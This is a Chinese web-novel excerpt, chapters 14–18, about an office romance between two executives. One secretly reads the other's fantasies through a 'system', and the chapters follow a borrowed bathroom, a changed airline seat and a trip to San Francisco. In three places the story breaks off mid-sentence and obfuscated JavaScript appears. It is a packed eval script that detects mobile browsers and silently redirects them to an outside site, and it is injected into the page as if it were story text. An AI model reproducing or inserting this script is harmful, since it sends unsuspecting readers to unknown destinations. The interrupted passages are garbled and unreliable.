一个极度注重边界、在职场永远游刃有余的男人,在此刻,因为一个女性同事深夜请求使用私人浴室的设想,慌了? 这个发现,像一束光骤然照亮了某些暗处。 要不,再进一步试试? 可一向谨慎的许知微,哪怕有了想法,也会进行风险评估。 ——深夜,作为独身女性,进入一个男性的私人领域。 ——哪怕对方是程迦,是自控力极强的上司,风险依然存在。 程迦的为人,她有足够样本观察:严苛,但守序;强势,但承担责任;从不越界,尤其在这种显而易见的敏感地带。 她抬眼上下打量起来,他的慌,总不能是演出来吧? 也对,如果他真有歹意,绝不会用先关门再开门这种复杂又幼稚的方式。 ——风险可控,利益嘛。 看到了他方才试图隐藏的失措,看到了那层完美冷静外壳下的细微裂缝,看到了他因为她的越界请求而产生的情绪波动。 这对于她的系统任务而言,是比任何直播间的定制打赏都更珍贵的素材。 总结完脑海里的所有分析,她极轻地笑了一声,带着一种重新拿回叙事主动权的放松与得意。 “程总,”她终于开口,声音恢复了平日的温和稳定,甚至带上了一丝恰到好处的的感激,“你真是好人。” 她清晰地看到,他原本就紧绷的背影,因为她这句话,几不可察地僵了一瞬。 然后,她故意放缓了语调,用一种为双方都铺设好台阶的方式,继续说道: “那我先回去拿洗澡的东西。” 她停了一下,目光在他微微泛红的耳廓上停留了半秒,语气诚挚: “今天真的——太谢谢你了。” 这句话落下的瞬间,她敏锐地捕捉到——程迦整个人,像一根被拉到极致后骤然松开的弦,肩膀几不可察地沉了下去。 那是一种从过度防御状态中解脱出来的、细微的松懈。 ——很好。 ——节奏回来了。 于是她转身走向门口,手握上门把。 在拉开门的最后一刹,她回过头,看向他依旧侧对着她的身影,笑容干净自然,吐字清晰: “我一会儿就过来。” 门轻轻合拢,将她与他暂时隔开。 许知微站在自己家门口,心跳平稳,思绪清晰。 ——好了,表面功夫做完了。 ——接下来,是挑选战服的时间。 只是—— 当她翻箱倒箱找出所有睡衣,摊在面前时,一股强烈的性缩力扑面而来。 ——这也太让人清心寡欲了吧! 15. 退缩 程迦发现,时间第一次变得这么难熬。 门“咔哒”一声合拢,将她那句“我一会儿就过来”关在了门外。 走廊瞬间沉入一种被抽干的寂静,连空调送风的微响都显得突兀。 分明只是简单的几句交代,却像一颗被投入死水潭的石子,涟漪反复。 他走回厨房,锅里烧开的水还在兀自翻滚,白雾弥漫。 意大利面的包装袋被随意扔在台面,封口只撕了一半。 他怔怔地看着翻滚的水泡,过了好几秒才想起原本的目的。 然后机械地将面条下入沸水。 结果,彻底的走神开始了。 ——浴室。 上午保洁来过,但角落呢? 淋浴间的玻璃水垢清干净了吗? 地漏会不会有之前掉落的头发? 那条她可能会踩到的灰色防滑垫,质感会不会太粗硬,不够舒服? 他甚至能想象出她赤足踩上去时微凉的触感。这个联想让他喉头发紧,下意识朝浴室方向瞥去,仿佛能穿透墙壁进行视觉检查。 ——那间房。 直播用的房间,方才把许知微拒在门外,就是为了去关那个房间的门。但他记得自己太匆忙了,锁舌似乎没有完全卡入? 万一——他猛地转身,立刻抬脚去确认,又在最后一步硬生生刹住。 不行,万一她突然摁门铃呢? 他得第一时间给她开门。 ——气味。 他无声地深吸了一口气。 洗衣液的淡香,木制家具的气息,还有他自己身上未散的、运动后淡淡的汗味,以及方才放纵的味道。 这味道让他突然焦虑起来。 她会不会闻到? 觉得不洁? 他是不是该立刻去冲个澡,或者至少换件衣服? 这些不安的念头让他浑身不自在。 就在这纷乱的思绪像沸水般咕嘟冒泡时—— “叮咚。” 门铃声清脆地响起。 程迦的身体瞬间绷直,像被无形的线陡然拉紧,随即又为自己的过度反应感到难堪。 他强迫自己放缓呼吸,走到玄关,手握上门把时,却下意识地垂下了眼睑,避开了即将与门外之人对视的可能。 门开了。 “我拿好东西了。”她的声音从下方传来,轻快,自然。 他没敢抬眼,只是侧身让出通道,声音竭力维持平稳:“嗯,进来吧。” 她动作利落,脱鞋,进入,脚步轻捷地径直走向浴室方向,没有多余的张望——就像她一直对自己不感兴趣那般,她对他的公寓,也毫无兴致。 直到浴室门“咔哒”一声关上、落锁,程迦才迟钝地意识到: 可她还是进来了。 不再是隔着网络或办公室的遥远存在,而是真真切切地,在他的私人领域里,仅隔着一道门。 淅沥的水声很快响起。 先是阀门打开的短暂空响,接着是稳定而持续的水流击打地面的声音。 那声音在寂静的房间里被无限放大,每一个水滴都像是砸在他紧绷的神经上。 他逃也似的回到厨房。 锅里的水还在沸腾,蒸汽氤氲。 意大利面早已煮过了最佳时间,软塌塌地浮在水面,他却浑然不觉。 他的全部感官,都被那持续的水声劫持。 ——她到底怎么想?竟然找他借浴室? ——代表什么?代表他对她来说,很安全? ——浴室的沐浴露味道会不会太冲了?她会不会不喜欢? ——空调温度够吗?是不是应该开个暖气? ——镜子上会不会有难以察觉的水垢? 带着无数的杂念,他机械地关掉炉火,拿起漏勺时,才看到面条已经失去了所有筋骨,烂熟地纠缠在一起。 他皱了皱眉,却没有丝毫重煮的欲望。 算了。 食欲早已不知去向。 水声停了,公寓又陷入一段令人心悬的寂静。 接着,吹风机的低鸣响起,断断续续,时而高时而低。那声音像一只无形的手,攥住了他全部的注意力。 他站在原地,近乎屏息地聆听着这个过程,无意识地计算着时间,直到那声音也彻底归于沉寂。 浴室门再次打开。 “程总,”她的声音带着热水浸润后的温润松弛,“谢谢你,真的帮大忙了。” 这一次,他终于转过身。 也终于,鼓足勇气,让视线完整地落在她身上。 她只是穿着一套再普通不过的居家服——柔软的浅粉色棉质布料,上衣胸口印着一只憨态可掬、甚至有点傻气的卡通兔子。 头发吹得半干,柔顺地披在肩头,发梢还蕴着湿润的光泽。 整个人看起来温暖又温馨,与职场中那个锋利冷静的许知微判若两人。 也正是这副毫无攻击性的日常模样,猝然劈进程迦的脑海。 他的瞳孔在那一瞬间剧烈收缩,血液仿佛瞬间冲上头顶,又立刻冻结。 他认出来了。 这颜色、这质地、甚至那卡通兔子略显傻气的神态,与他系统中那段被反复神游,直至上限达到而被锁定的核心幻想记录,完全重合。 那是“微微不微”202601232245幻想。 在那个由她主导的幻想片段里,褪去所有社会身份与伪装的许知微,穿着的就是这套柔软且亲切的粉色兔子家居服。 那是她意识深处最松弛的模样,也是他透过系统窥见后,最为沉迷的渴望。 他无数次渴望看到的,那个她幻想中的她——那个只在他作为“走leetcode”才被允许带入私密维度里,才会展露的令人心悸的另一面。 而现在。 这个他隔着系统屏幕反复观摩、暗自珍藏的模样,竟然活生生地站在了他现实的客厅里,真实地向他道谢。 以一种近乎嘲讽的精准,将那份他最私密的、最渎神的、最僭越的渴望,直接投射到了程迦这个身份的生活里。 这种视觉冲击,反而成了让他误以为他的单相思得到了双向反馈的验证。 他窥见了她的欲望,而此刻,她带着欲望载物,站在他面前,对他一无所知地笑着。 还笑得那么动人。 他,可以僭越么? 当然不行! 他此刻是程迦,又不是“走leetcode”! 他想被她当成变态么? “……没事。”他开口,声音干涩得几乎劈裂,喉结艰难地上下滚动,试图压下那瞬间翻涌上来的慌乱,以及更深层、更不该在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127084|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻复苏的灼热悸动。 他几乎是狼狈地仓促移开视线,不敢再多看她一秒。 仿佛再多停留一秒,他眼中无法控制的震荡、混乱,以及那被瞬间勾连起的、属于无数次神游深处的、滚烫而私密的记忆回响,就会无处遁形。 厨房里,煮过头的意大利面开始散发出淡淡的、近乎糜烂的淀粉气味,像某种现实的、却已彻底失序的注脚。 * 周一的早晨,像一台精准重启的服务器,带着不容置疑的秩序感。 程迦刚结束一场跨洋视频晨会,内线电话便适时响起,秘书的声音一如既往地专业高效。 “程总,下下周旧金山的国际展行程草案已出。去程是周二中午的直飞,回程周日。酒店仍安排在会场附近,步行可达。” 电话那头传来轻微的纸张或屏幕滑动声,“航班座位按惯例处理了,您在商务舱1A,许总在1B,方便飞行期间沟通项目细节。” 1B。 那他俩,不是得挨着坐十几个小时? 程迦原本快速浏览下一封邮件的目光,却像被无形的钩子猛地拽住,钉在了半空。 十几个小时。 密闭的金属舱体,被恒定低鸣和黯淡灯光包裹的狭长时空。 人在那里,防御会随着体力和耐心一同流失,睡意昏沉时意识会模糊边界,清醒时又会被迫感知到身旁人的一切——呼吸的频率,翻动纸张的轻响。 他几乎是不受控制地,在脑海成形了一个画面:她坐在触手可及的右侧,或许戴着降噪耳机试图隔绝世界,或许在长途飞行的倦怠中,会褪去白日里那层冷静的壳,露出某种他不该看见、却已在幻想系统中窥见过的松弛。 而他的记忆,却在此刻,极其不合时宜地、残忍地将两幅画面重叠—— 一副是现实中她作为下属的、公事公办的可能状态; 另一副,却是那套粉色兔子家居服所锚定的、属于“微微不微”最私密幻想里的、毫无防备的许知微。 她对此毫不知情。而他,却要带着这份全知的又见不得光的秘密,与她肩并肩,被困在万米高空长达十几个小时。 还怎么工作协同? 这简直是一场对他岌岌可危的自制力,进行的极限压力测试。 程迦的指尖在光滑的桌面上极轻地蜷缩了一下。 “把她的座位调开。”他说。 语气平静无波,没有解释,仿佛只是在纠正一个无关紧要的行程疏漏。 电话那端,秘书明显停顿了半拍。这个指令违背了所有高效便捷的常规操作,尤其对象是这次项目的核心成员许知微。 “……好的,程总。”她迅速接上,职业本能压下了疑惑。 通话结束。 办公室里只剩下空调系统低沉的运转声,窗外的晨光清澈冷冽,映在他没什么表情的脸上。 过了一会儿,行程确认邮件已经刷新,许知微的座位号被悄无声息地替换成了一个遥远的数字。 程迦盯着那行被修改过的信息,看了好几秒。一种极其细微的的空落感,混在如释重负的松懈之后,悄然蔓上心头。 他强行移开视线,重新聚焦于满屏的待办事项。 他害怕,害怕他的理智控制不住他的欲望,就再也无法回到那个可以坦然比邻而坐的、简单的从前了。 16. 落地 行李箱摊开在地板上,正巧成为一张等待检查的清单。 许知微蹲在旁边,确认了叠放整齐的职业套装、衬衫和用于应对旧金山早晚温差的防水外套。 核对在脑中自动进行:证件、电脑、转换插头、常备药。 直到她的目光,无意间掠过衣柜最里侧,那个被小心收纳的防尘袋。 动作顿住了。 防尘袋里,是一件衣服。 一件与她此刻行李箱里所有物品都格格不入的衣服——那件剪裁极致大胆,同时布料少得几乎挑战物理学的黑色蕾丝睡裙。 买下它,纯粹源于一次事故后的懊恼。 搬来那晚,被程迦误会要借浴室,她翻遍衣柜竟找不出一件能称得上战袍的睡衣,最后只能穿着那套印着蠢兔子的棉质家居服去了。 不出所料,无事发生。 系统静悄悄,幻想值纹丝不动。 连主控都忍不住嘲讽她【机会来了都抓不住】 是啊,谁能想到单身多年的她,有一天会需要用得上性感睡衣? 所以之后,她带着一种弥补般的科研心态,精挑细选了这件。 收货当晚她就换上,在小号上拍了几张不露脸、但氛围拉满的照片。 效果立竿见影。 流量爆炸式涌入,点赞评论疯狂刷新,连带系统里的幻想值收益也瞬间飙涨了一千多。 虽然账号很快又因尺度问题被短暂禁言,但数据不会说谎——这件衣服,确实是有效的幻想催化剂。 虽然作为代价,她收到的私信越来越恶心,让她不得不关闭了私信。 但无论如何,她对它的效果非常满意。 可满意之后,却是更深的无处施展。 程迦那边再无异动,两人恢复了标准的上下级模式,偶尔在走廊碰见也只是点头而过。 那件战袍再性感,也只能默默躺在防尘袋里,再无用武之地。 直到这次出差通知下来。 同住一个酒店。 十几个小时的飞行。 连续的会议和可能的团队聚餐。 陌生的环境,脱离日常轨道的行程,模糊的公私边界。 所有这些因素,似乎都在隐隐拓宽某种可能性的边界。 许知微的手指,反复地摩挲着防尘袋光滑的表面。 ——要不要带上? 理性却在第一时间拉响警报:荒谬。 带这种衣服去出差? 万一被同事看到怎么办? 箱子过安检会不会尴尬? 可另一个声音,清晰地盘旋:机会不会总在原地等待。 上次是误打误撞的浴室乌龙,这次是名正言顺的共处异地。 系统那诱人的幻想收益,像挂在眼前的胡萝卜。 这件被验证过高效的战袍。 有钱不赚,王八蛋! 她脑海里迅速推演着可能的场景:或许根本用不上,原封不动带回来;或许在某个只有两人的时刻,比如他临时来她房间讨论工作,而她刚好沐浴后穿着浴袍,里面若隐若现这战袍。 这个想象让她的耳根微微发热,但眼神却愈发清醒。 带,意味着主动将一种可能纳入计划,将自己置于一个更有风险的位置。 不带,则安全无虞,但也可能意味着再次错失一个潜在的收益增长窗口。 这是一道概率题。 而她对程迦的反应概率评估,在经过浴室误会和日常观察后,胜率极大 许知微盯着那件黑色的蕾丝,许久。 最终,她伸出手,将它连带着防尘袋一起,轻轻放进了行李箱最底层,然后上面用几件柔软的针织衫严严实实地盖住。 拉上行李箱夹层拉链的那一刻,她轻轻呼出一口气。 ——还是带上吧。 不给另一个万一需要留下遗憾。 做完这个决定,她继续平静地收拾其他行李。 只是当她合上行李箱,立起来靠在墙边时,目光再次扫过那个位置,心底某个角落,一丝极其细微又混合着期待与紧张的涟漪,悄然荡开。 * 机场候机厅的光线永远过分明亮,巨大落地窗外,晨雾将跑道晕染成模糊的背景。 许知微将登机牌仔细夹进护照,拖着登机箱退到人少的角落等待。 目光习惯性地扫过航班信息屏,又垂眼看向手机屏幕上的电子登机牌——座位号映入眼帘的瞬间,她手指的动作微微顿住。 ——奇怪,并不是预想中的位置。 她几乎是立刻抬头,重新核对了一遍航班和舱位信息,确认自己没有看错。一种极其陌生的空白感,毫无预兆地攫住了她。 不是失落,至少,不完全是。 那感觉更像是在一条走了无数遍、闭着眼都能摸到墙壁的熟悉走廊里,突然发现某面墙被悄无声息地平移了一寸。 空间还是那个空间,但习惯被打破了。 以往长途出差,她和程迦的座位总是相邻,为了高效利用飞行时间对齐复杂项目。 她也因此很讨厌他在飞机上压低声音的讨论,那种特有的冷静质感的语调,是她连出差都要加班的号角。 但这一次,那个默认的座位,没有了。 她当然不想这十几个小时和他并排而坐,这次正好可以好好趁着十几个小时的飞行,勉强补个觉。 可不知为何,当这个维持了数年的惯例被如此静默而彻底地单方面修正时,一股难以言喻的、混杂着被排除在外和计划被打乱的烦闷,还是从心底悄然弥漫上来。 她还没来得及仔细分辨这缕情绪的来由,一道小心翼翼的声音从侧后方传来。 “许、许总……?” 她回头。 是项目三组那个刚来不久、技术很强但面对程迦就自动僵硬的年轻男生。 他站得笔直,手指紧张地蜷着,脸上写满了鼓起毕生勇气。 “那个……我想跟您商量件事,”他语速飞快,声音压得极低,仿佛在密谋,“能不能……跟您换个座位?” 许知微眉梢几不可察地一挑,没有立刻回答。 “你坐哪儿?”她反问。 “程、程总旁边……”男生几乎是脱口而出,随即脸上露出一丝真实的、近乎痛苦的表情,“微微姐,我真的不行。跟程总坐十几个小时,我可能会窒息。我们有代沟,真的,完全没共同语言。我怕我一路上都在反省自己呼吸的频率是不是不对……” 他说完,自己都尴尬地扯了扯嘴角,那笑容里充满了年轻人对权威的本能畏缩和想要逃离的迫切。 许知微点头笑笑,像是告诉他,我懂。周扒皮在公司的名声,总归算不上多好。 可是,为什么换座要找她? 想到这里的许知微一愣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131414|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>也对,她在这些新人眼中的位置,不是和程迦一样需要敬畏的上级,而是一个相对更可接近的缓冲地带。 这个认知让她心头掠过一丝极其微妙的不服气。 可自己跟程迦,明明年纪相仿。 果然还是因为自己级别不够高。 毕竟比起年龄,级别才是最容易让人产生距离感的东西。 想到这里,许知微突然有些不想换了,正准备拒绝,可另一个更现实的念头砸下来:如果不换,她就要跟那群刚毕业的小年轻坐一起。 她要跟他们聊什么? 飞机上的长途飞行,是职场身份暂时退场的特殊时空。 她擅长应对工作讨论,却不确定自己是否还能顺畅地接入那些关于最新流行梗的或者充满朝气的琐碎对话。 那会不会反而更疲惫和尴尬? 还不如跟程迦待一起聊工作呢,好歹她还能言之有物。 所以再看看眼前这个眼里几乎冒出感激之光的年轻人,她心里的天平又摆了回来。 “好,换吧。”她笑道。 男生显然没料到这么顺利,愣了一下,随即巨大的惊喜涌上脸庞,连连道谢,几乎有些手忙脚乱地递过自己的登机牌。 交换完成,年轻人带着逃出生天般的轻松快步离开。 许知微站在原地,指间捏着那张换来的登机牌。 候机厅的嘈杂——广播声、交谈声、行李轮滚过的声音——似乎在这一刻重新涌入耳膜。 而她心底那点先前被压下去的异样感,非但没有消失,反而随着换座动作的完成,变得更加清晰。 ——好奇怪,自己这是怎么了? * 十几个小时的航程,时间被折叠又抻长。 从国内白昼飞抵旧金山傍晚,入境、取行李、上车,酒店外的霓虹与棕榈掠过车窗,像隔着一层失真的滤镜。 直到房门在身后合拢,“咔哒”一声,世界骤然静音。 许知微把行李箱推到墙边,踢掉鞋,整个人陷进床垫。 脸埋进枕头的那一刻,她才迟钝地感知到——好累。 一种被时差和密集行程榨干后的、肌肉乳酸缝里渗出的倦意。 她在昏暗里躺了十几分钟,呼吸渐缓。 终于,另一个意识浮上来:她和程迦,好像不在同一层。 不同楼层,不同电梯区间,错开的动线。 那么,在这座庞大的标准化酒店里,偶遇的概率趋近于零。 她翻过身,盯着天花板上规整的灯槽,心里蓦地划过一丝近乎荒谬的清醒——自己竟真的,为那件压在箱底的战袍,存过一丝可笑的期待。 她轻轻“啧”了一声,像是要把那点不合时宜的念头掐灭。 ——猎人最忌讳的就是,对猎物动心。 ——□□之心也不行! 于是她起身,窗开了个小口子。 旧金山夜风从窗隙渗入,带凉意,也带清醒。 ——明天的报告可是硬仗。 她没有时间分给任何未发生的杂念。 当许知微走回行李箱前,利落地拿出明天的套装,挂进衣柜。 动作干脆,没有迟疑。 指尖在合上箱盖前,无意识地擦过最底层那个柔软的防尘袋。 停顿半秒。 “唰”地一声拉上拉链。 用不上了。 17. 失控 商务舱的灯光调至适宜阅读的暖黄,引擎的嗡鸣成了稳定的背景音。 程迦在空乘引导下走向自己的座位,目光习惯性地瞥向邻座——随即,他的脚步几不可察地顿住了。 坐在1B位置的,怎么还是许知微? 她正低头看着平板上的资料,侧脸在舷窗透入的光线下显得专注而平静,仿佛对这个座位的归属毫不意外。 一股错愕混杂着某种更深层、几乎要破土而出的悸动,猛地撞上他的胸腔。 他明明亲手调开了她的座位。 是哪里出了差错? 秘书的疏忽,还是她自己——她自己换的? 一想到有这个可能,虽然没按照他的预期,但他还是忍不住嘴角上扬。 “程总。”她似乎察觉到目光,抬起头,对他礼节性地弯了下嘴角,随即目光又落回屏幕,像是已经进入了工作状态。 “……嗯。”他应了一声,声音颤抖得自己都感到陌生。 他放好行李,坐下,系好安全带,动作流畅而克制。 可身体靠近她那一侧的皮肤,仿佛骤然变得敏感,能清晰地感知到两人之间那不到一臂的距离。 飞机开始滑行,升空。 按照惯例,此刻他应该打开电脑,或者至少与她简单同步一下落地后的安排。那些高效利用飞行时间的模式,早已成了惯例。 可今天,他做不到。 他的大脑像被强行植入了另一套混乱的程序。鼻尖萦绕着她身上极淡的清冽气息,与幻想中那套粉色家居服带来的柔软联想诡异地交织。 眼角的余光能瞥见她翻动资料时纤细的手指,和小臂内侧一道若隐若现的线头。 每一个微不足道的细节,都在疯狂撩拨着他那根早已过度敏感的神经。 他根本无法集中精神思考任何与工作相关的事情。 任何开口的尝试,都可能暴露他声音里的干涩,或者眼神里不该有的偏移。 于是,在飞机进入平流层后不久,程迦做出了一个对他而言极不寻常的决定——他调整了座椅角度,拉下眼罩,假装入睡。 黑暗降临,隔绝了视觉,却让其他感官变得更加敏锐。 她的存在感,在刻意营造的寂静中被无限放大。 他听见她偶尔翻阅纸张的轻响,听见她将水杯轻轻放回桌板的细微磕碰,甚至能隐约感知到她身体随着呼吸的微弱起伏。 时间在紧绷的假装中流逝。 不知过了多久,身旁的动静渐渐变得规律而轻缓。 他透过眼罩下方的缝隙,极其小心地观察——她似乎也累了,资料滑落到一旁,头微微偏向舷窗方向,呼吸变得绵长。 她睡着了。 这个认知,像一把钥匙,悄然打开了某种禁忌的阀门。 程迦依旧维持着假寐的姿态,一动不敢动,仿佛生怕惊醒一场易碎的梦。 然而,内心某种压抑已久的贪婪,却开始无声滋长。 在她看不见的角落,他近乎贪婪地享受着这意外又毫无防备的共处。 她的睡颜离他如此之近,近到他能看清她睫毛在眼下投出的淡淡阴影,近到能数清她微微抿着的唇上有几道细小的纹路。 一种混合着罪恶感与巨大满足的悸动,无声地席卷了他。 当空乘轻声询问是否需要晚餐时,他幅度极小地摇了摇头,示意不要打扰。 而她,睡得深沉,对此一无所知。 在昏暗的机舱、稳定的轰鸣和她平稳的呼吸声中,程迦的意识再次不受控制地滑向那个危险的深渊。 他悄无声息地在脑海中翻出幻想系统的过往记录,精准地调取了那条标记为“微微不微”的片段——那是她两个月前在直播中与他互动后的夜晚。 这是她最近一次幻想自己了,因触发时间最近,还残留着几次可供神游的余量。 其他的,早已被他反复沉溺,直至抵达系统设定的上限,彻底锁定。 画面在意识深处轰然铺开,比任何一次都更清晰,仿佛此刻她近在咫尺的安睡现实,为那段记录注入了滚烫的血液与真实的骨骼。 在那段由她构建的幻想里—— 她的指尖此刻正安然搭在毛毯边缘,却曾虚拟地、带着研究般的专注,缓缓描摹过他喉结上下滚动的轨迹,然后带着不容置疑的力道向下,落在他因紧绷而微微起伏的胸膛中央。 她的呼吸此刻正轻柔拂过他自己绷紧的手臂皮肤,却曾模拟着贴近他耳廓,气息温热潮湿,带着气音,下达过一条简短而清晰的指令:“……别动。” 她的嘴唇此刻在睡梦中无意识地微微抿了一下,却曾在幻想里,带着某种惩罚性的意味,轻轻咬过他肩颈连接处那根绷紧的肌腱,留下一个象征征服的印记。 舷窗外的稀薄天光勾勒出她熟睡的轮廓,毛毯下的身体随着呼吸微微起伏。 她的头在睡梦中无意识地朝他这边偏了偏,几缕发丝擦过他的外套袖口,带来令人战栗的触感。 幻想中她带着掌控欲的指令,与现实中她全然松弛的依偎,形成了致命的反差与重叠。 他的呼吸在眼罩下变得粗重而灼热,指尖在身侧悄然收紧,骨节泛白,仿佛正握着幻想中那属于她的手腕。 冰凉的指尖与臆想中滚烫的皮肤触感激烈交战。 一种几乎要焚毁理智的渴望,混合着“她就在眼前却遥不可及”的巨大焦灼,在胸腔里疯狂肆虐冲撞。 就在这理智的堤坝被虚实交织的洪流冲击得摇摇欲坠之际,在幻想中她命令般的低语与现实里她清浅呼吸的夹缝中,他听到自己用几乎只有气流能捕捉到的音量,向着她毫无知觉的睡颜,近乎哀怨地吐出了那句早已在心底溃烂的诘问: “……你已经好久,” 声音沙哑破碎,裹挟着连自己都未曾预料到的、深不见底的贪恋与委屈, “没梦到我了。” 话音落下的瞬间,他自己都为之震颤,急忙将脸埋进衣服里。 而沉睡中的许知微,只是睫毛细微地颤动了一下,仿佛被某种无形的声波轻轻扰动,又旋即沉入更深的梦境,一无所知。 * 落地的时候,旧金山的天色正好。 清晨的雾气尚未完全散去,机场外的光线带着一种疏离的蓝调。 程迦跟在队伍最后,脑子却像是比身体晚了半拍才真正降落。 一路上,他几乎没怎么说话,这是他刻意的收束与冷却。 他需要把高空那十几个小时里滋生的所有混乱——那些不该有的画面、缠绕的气息、脱口而出的呓语——全部锁回理性的黑箱。 在酒店前台分房卡时,他的目光迅速扫过所有卡片——除了一张在14楼,其余的都在13楼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137547|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他毫不犹豫地抽走了14楼那张。 秘书愣了一下,下意识确认:“程总,这间在另一层,离团队有点远。” “正好。”他接得很快,没有解释。 那是唯一一间,能彻底避开所有偶然与巧合的房间。 他想要的不是距离她多远,而是距离那个会因为她而失控的自己远一点。 房间到了,门关上的瞬间,他那根从昨晚起就紧绷到极致的神经,终于几不可察地松懈了一丝。 程迦冲进浴室用冷水洗了脸,试图用温度让失序可控。 是的,他不允许自己这样失序。 这些年,他对许知微那份隐秘的心思,一直是可控的、甚至可被精密计算的变量。 但最近,防线在持续坍塌。 从直播间的跪下,到门口那套粉色家居服,再到机舱里他对着她睡颜那句卑微的抱怨——失控是递进的,且正在加速。 他享受,但这很危险。 水滴顺着睫毛落下,他闭上眼。 他不知道自己理智彻底压不住后,会做出多少让自己后悔的事。 所以这危险信号,必须重置。 * 第二天早上,他调整得堪称完美。 至少表面如此。 一楼餐厅阳光充沛。 程迦刚坐下,就听见身后有人笑着调侃: “哇,许总今天穿高跟鞋也太高了吧?远看像个女巨人。” “许总本来就挺高的,应该有175吧?” “岂止?我都有175,她比我还高出半个头呢。” 他下意识地回头,看了一眼那个自称175的同事,视线掠过对方略显稀疏的发顶。 而许知微正从取餐区走过来,身形笔直,步伐平稳。 她显然听到了,脸上却没什么表情,既没有不悦,也没有回应,只淡淡扫了那边一眼,继续往前走。 那一瞬间,程迦心里某根弦被很轻、却极其清晰地拨动了。 他放下咖啡杯,站起身。 动作并不大,却让那一小片区域瞬间安静下来。 他看着那位同事,语气平静得像在陈述一个客观事实: “什么巨人。” 众人一愣。 他淡淡补了一句,声音不高,却带着一种基于绝对现实的、不容置疑的笃定: “她穿了高跟鞋,也没法跟我平视。” 话落,四周安静了一瞬。 许知微脚步几不可察地顿住,侧过头,狠狠瞪了他一眼。 可她什么也没说,转身离开。 早餐在微妙的气氛中结束,两人再无交流。 直到许知微的报告结束后,程迦正站在会场门口角落低头看材料。 一阵清晰、稳定、带着明确指向性的高跟鞋声,由远及近,最终精准地停在他面前。 他抬起头。 许知微换了一双鞋。 鞋跟细而高,足有十厘米,衬得她身形愈发挺拔利落。她站定,微微昂首—— 这一次,她的目光毫无阻碍地、水平地撞入了他的眼底。 她看着他,忽然笑了。那笑容里带着一种锐利的亮光。 “程总,”她开口,声音平稳,却字字清晰,带着一股将之前所有微妙交锋一并结算的力道,“你身高所在的空气,也不过如此嘛。” 18. 察觉 早上出门前,许知微在两双鞋之间停了几秒。 一双是低跟,稳妥舒适;另一双是高跟,气场全开。 她看了眼行程——主论坛,英文报告。 最终,指尖还是落向了低跟。 她习惯性规避麻烦。 因为她太清楚过高的身高会引来什么:那些或明或暗的打量,那些脱口而出的“女巨人”、“不好找对象”之类的调侃。 * 早餐厅里,她刚坐下,身后的议论声就飘了过来:“哇,许总今天穿高跟鞋也太高了吧?远看像个女巨人。” “许总本来就挺高的,应该有175吧?” “岂止?我都有175,她比我还高出半个头呢。” 许知微握着咖啡杯的手纹丝未动,连睫毛都没颤一下,就准备起身,将这几句废话留在身后。 可另一道声音就在这时插了进来。 “什么巨人。” 她的动作几不可察地顿了一下——程迦? 下一秒,那句话平稳落地——“她穿了高跟鞋,也没法跟我平视。” 轰。 一股截然不同的情绪,瞬间冲散了她之前的漠然。 同样是关于身高,从那些同事嘴里说出来,她只觉得肤浅嘈杂,像蚊蝇嗡嗡。 可从程迦嘴里说出来,每一个字都像带着细小的倒刺,刮过她敏感的神经。 那是一种由上至下的审视,一种基于绝对优势带着近乎无意识的位置宣示。 她回过头,看了他一眼。 程迦站在那里,神情平静无波。 正是这种毫无所觉的淡然,让她心口那股无名火噌地烧得更旺。 她什么也没说,转身离开,脚步比平时快了一分。 回到房间,关上门。她径直走到鞋柜前,目光锁定那双十厘米的高跟鞋。 这一次,她没有丝毫犹豫。 细跟叩击地板,发出清脆而坚定的声响。 她站在镜前,鞋跟将她整个人向上提起,足以站到他话语里那个可以平视的位置。 * 展厅里,灯光如昼。 她站在台上,报告流畅精准。185的视觉身高让她无需任何刻意的气势加持,存在感已然足够。 余光里,她瞥见程迦。 他站在展厅外侧,隔着人群,姿态一如既往——双臂交叠,微微靠在墙柱上,目光落在手中的材料上。 这个画面太熟悉了。 刚进公司那几年,好几次她做公开报告或重要演示时,只要余光扫到他在场,尤其是看到他微微蹙眉,她的心跳就会漏拍,脑子里瞬间拉响警报: 是不是哪里错了? 逻辑有漏洞? 数据不扎实? 而结果往往是,会后他确实会把她叫过去,用那种冷静到近乎残酷的方式,把她自以为完美的逻辑拆解得七零八落,骂得她夜里复盘时都恨不得钻地缝。 后来她学聪明了。 她开始强迫自己无视他的存在。 报告时,目光虚焦在人群后方,或者专注与提问者对视,绝不往他站的那个角落偏移。 效果出奇地好——她不再被他的微表情干扰,发挥越发稳定流畅,从他那里得到的事后复盘也渐渐从尖锐的批评,变成了寥寥几句关键点拨。 久而久之,这成了她的习惯和某种心理屏障:只要做报告,她就自动进入无视程迦的模式。 